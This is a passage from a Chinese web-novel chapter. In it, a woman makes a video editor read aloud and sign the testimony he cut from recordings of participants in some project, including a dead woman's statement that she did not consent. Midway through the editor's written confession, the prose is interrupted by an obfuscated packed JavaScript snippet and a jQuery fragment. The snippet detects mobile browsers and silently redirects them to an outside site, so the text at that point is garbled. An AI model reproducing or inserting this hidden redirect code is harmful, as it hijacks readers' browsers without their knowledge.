第四排挤满了，她直接拉了红线，开第五排。


    程漾站在墙前，看着那张纸慢慢贴上去，谁也没说话。


    墙上的纸张被风吹得动了两下，声音很小，但屋里静得太厉害，显得特别清楚。


    林茜小声问：“接下来呢？”


    程漾盯着墙：“接下来？”


    “谁剪的，谁来讲。”


    “下一个。”


    林茜咽了下口水：“赵一山。”


    “下午一点到。”


    程漾转头看她：“安排主讲席。”


    “告诉他，不是问他愿不愿意。”


    “是他该讲。”


    “她们讲了，是他剪了。”


    “他剪的，他就讲。”


    “讲完——贴墙。”


    林茜点了点头：“明白。”


    程漾没再说话，转身回到桌前。


    文件袋里，还有几份没拆的原始剪辑记录。


    她把那几份拉出来，一页页翻着看。


    看到第三页，她停了。


    纸上写着：


    【编号第十四号】


    【讲述人：梁溪】


    【素材时长：十八分二十秒】


    【剪辑后：三分零八】


    【剪辑原因：情绪不稳定，内容负面】


    【删除内容：‘我妈签的字，不是我自愿的’】


    程漾盯着那行字，手指微微敲着桌面。


    林茜走过来，声音发干：“她是谁？”


    程漾把纸拍在桌上：“编号第十四号。”


    “叫梁溪。”


    “系统备注她情绪不稳。”


    “理由是——她说她不是自愿的。”


    “然后那一句，被剪了。”


    “剪的人呢？”林茜问。


    程漾指着表上的名字：“赵一山。”


    林茜没出声。


    程漾把那张表叠好：“她讲了。”


    “她不是没讲。”


    “是赵一山剪了。”


    “她讲的不是不清楚。”


    “是他不让我们听。”


    “所以——”


    “他来讲。”


    “她讲不回来了，他讲。”


    “下午让赵一山站上讲述席。”


    “把那句‘我不是自愿的’，他自己讲回来。”


    “一个字不少。”


    “谁剪的——谁讲。”


    “讲完，签名字。”


    “贴墙。”


    林茜点头：“我去安排。”


    程漾坐在那，没动。


    墙上的讲述名单越来越长了。


    每一个名字，都是一条命。


    每一个剪辑记录，都是一场谋杀。


    林茜走前犹豫了一下，还是问了句：“梁溪还在吗？”


    程漾摇了摇头：“不在了。”


    “她早就死了。”


    “系统给的理由是‘项目周期结束’。”


    “她死了。”


    “但她讲过。”


    “她讲了，是赵一山剪了。”


    “不是她不清楚。”


    “是他不想听。”


    “现在她讲不回来了。”


    “那就他讲。”


    “讲一句，贴一句。”


    “讲完——贴墙。”


    “贴上墙的——就是命账。”


    “这一次，不是问他们有没有良心。”


    “是问他们——谁剪了。”


    下午一点，赵一山到了。


    人是宋郁带过来的。


    进门的时候，赵一山戴着帽子，拉得很低，衣服皱着，鞋后跟踩变形了，手里攥着个塑料袋，谁也没看。


    宋郁站在旁边，什么都没说。


    程漾坐在讲述席后面的椅子上，看着赵一山进来，就说了一句：“坐那。”


    赵一山没动。


    程漾也不催，只重复了一遍：“坐那。你不是来喝茶的。你是来讲你剪了什么的。”


    赵一山走过去，屁股刚沾上椅子，程漾开口了。


    “第十四号讲述人，梁溪。”


    “十八分钟素材，你剪剩三分钟。”


    “你删了什么，你记得吗？”


    赵一山沉默。


    程漾语气平稳：“你不记得我就帮你回忆。”


    “她那天坐在拍摄间里，说她妈替她签的‘自愿协议’。”


    “她说不是她同意的。”


    “她说她被拖进去的。”


    “你把这句话剪了。”


    “谁让你剪的？”


    赵一山嗓子干得像在刮砂纸：“组长。”


    程漾语气没变：“组长是谁？”


    赵一山低头：“韩旭。”


    “好。”程漾点点头，“组长让你剪的。”


    “那剪刀是不是你按的？”


    “是。”赵一山声音低得几乎听不见。


    程漾问：“她说‘不是我签的’，是不是你删的？”


    “是。”


    “你删掉这句话的时候，她还活着吗？”


    “活着。”


    “她讲过吗？”


    “讲过。”


    “她是不是亲口说了‘我不是自愿的’？”


    “是。”


    “你剪了吗？”


    赵一山低头：“剪了。”


    “那她讲了，是你剪的。”程漾语气一字一句，“不是她没讲。”


    “是你不让别人听见。”


    “你剪了她求救的证词。”


    “她说‘不是自愿的’。”


    “她那时候还活着。”


    “她讲过了。”


    “你剪了。”


    赵一山额头往下滴汗，手在膝盖上抠着，指甲缝里都是红印子。


    程漾看着他：“她现在死了。”


    “系统说‘项目周期结束’。”


    “但她讲过的那句‘我不是自愿的’，没回来。”


    “那你讲。”


    赵一山抬头，愣了。


    程漾声音稳得吓人：“你剪的你讲。”


    “她讲不回来了。”


    “你活着。”


    “所以你该讲。”


    “你今天就把‘我不是自愿的’，这句话——亲口讲出来。”


    “讲一句，贴一句。”


    “贴在墙上。”


    “让所有人看着。”


    “这是你剪掉的。”


    赵一山喉结滚了滚，声音发着抖：“我……我讲。”


    “我删过。”


    “是我剪的。”


    “那天，她说……她说——‘我不是自愿的’。”


    “是我把这句话删了。”


    “我觉得这话太重了。”


    “组长说‘负面’不要留。”


    “所以我删了。”


    “我剪的。”


    “我删的。”


    “是我。”


    “责任是我。”


    他说到这，嗓子卡了一下。


    宋郁在旁边低着头。


    程漾看着赵一山：“不是你觉得。”


    “是你动的剪刀。”


    “她说了，是你剪的。”


    “这句不是你的情绪。”


    “这是命案材料。”


    “你删的，是人命的证词。”


    “所以你今天讲回来。”


    “讲完——写。”


    “写完——贴墙。”


    赵一山嗓子干得说不出话，只点了点头。


    他伸手去拿那张打印好的责任表，拿了半天，手在抖。


    他低头写了。


    写了很久。


    最后纸上只留了几行字：


    【编号第十四号讲述人梁溪。】


    【原素材十八分钟，我剪剩三分钟。】


    【我删掉的原话是：‘不是我签的，不是自愿的。’】


    【删录责


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16005558|175465||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    任人：赵一山。】


    写完了。


    程漾接过那张纸，起身，走去讲述墙，把它贴在了宋郁那张纸旁边。


    贴好后，她只说了一句：


    “这是第二张。”


    “不是她讲不清楚。”


    “是你们剪了。”


    “谁剪的——就得谁讲回来。”


    “讲一句，贴一句。”


    “谁剪，谁讲。”


    “讲完，贴墙。”


    “贴墙——就算账。”


    墙前围着好几个人。


    谁也没出声。


    赵一山站在墙前，手还在抖，盯着那张写着自己名字的纸，死死盯着。


    程漾没理他。


    “回去坐下。”


    “你不是来看墙的。”


    “你是被贴上去的。”


    “看不动就别看了。”


    “下一个素材，把你剪掉的，继续讲。”


    赵一山听话，像被人揪着后脖子似的，转身坐了回去。


    坐下的时候，他裤脚都在打皱。


    宋郁站在一边，脸上没什么颜色了，往旁边挪了半步。


    程漾坐回椅子，翻了下资料：“讲第二段。”


    “你剪的第二个讲述人，谁？”


    赵一山手哆嗦了一下，低声：“江蓉。”


    “说完整名。”


    “江蓉。”


    “素材原片多长？”


    “十五分钟。”


    “剪完后剩多少？”


    “不到三分钟。”


    “你删了什么？”


    赵一山抠着裤缝：“她那天……她说‘我头疼’，说‘我不想继续了’。”


    “我觉得这话影响评审。”


    “我就把她说‘我不想继续了’那句话剪了。”


    程漾手指敲了下桌面。


    “她讲了‘我不想继续了’，你剪了。”


    “是不是？”


    “是。”


    “为什么剪？”


    “组里说……要留正向反馈。”


    程漾语气依旧稳：“但你按的剪刀。”


    “对不对？”


    “是。”


    “所以，这一段你讲回来。”


    “她讲不回来了。”


    “你活着。”


    “你来讲。”


    赵一山嗓子发干：“那天她说……她说——‘我头疼，我不想继续了’。”


    “我把这句话删了。”


    “我把她的求停，剪了。”


    “是我剪的。”


    程漾没反应，只把桌上的纸往他面前推了过去。


    “写。”


    赵一山手指都在发白，但最后还是写了。


    写得很慢，字也歪。


    【讲述人江蓉。】


    【我删过她说的‘我不想继续了’。】


    【是我删的。】


    【责任人：赵一山。】


    程漾拿过纸，站起来，走到讲述墙，把这张纸贴到了第三排最后。


    墙上，第三张。


    赵一山的第二张。


    她盯着墙看了一秒，语气平静得像个冷机器：


    “谁剪的——就谁讲。”


    “讲一句，贴一句。”


    “谁删的，就谁来贴回去。”


    “她们讲了，是你们剪了。”


    “不是她们讲不清楚。”


    “是你们剪了。”


    “讲回来。”


    “贴墙。”


    “贴上——就算账。”


    林茜站在旁边，没敢出声，只拿着备用打印纸。


    赵一山坐在椅子上，整个人都在抖。


    程漾回头：“休息十分钟。”


    “赵一山，你喘口气。”


    赵一山坐着没动，像个被拎过来的纸人，手一直抠着裤缝，整个人缩在椅子里，眼睛一直盯着地面，脚底下全是鞋印，像个小学生等着老师点名。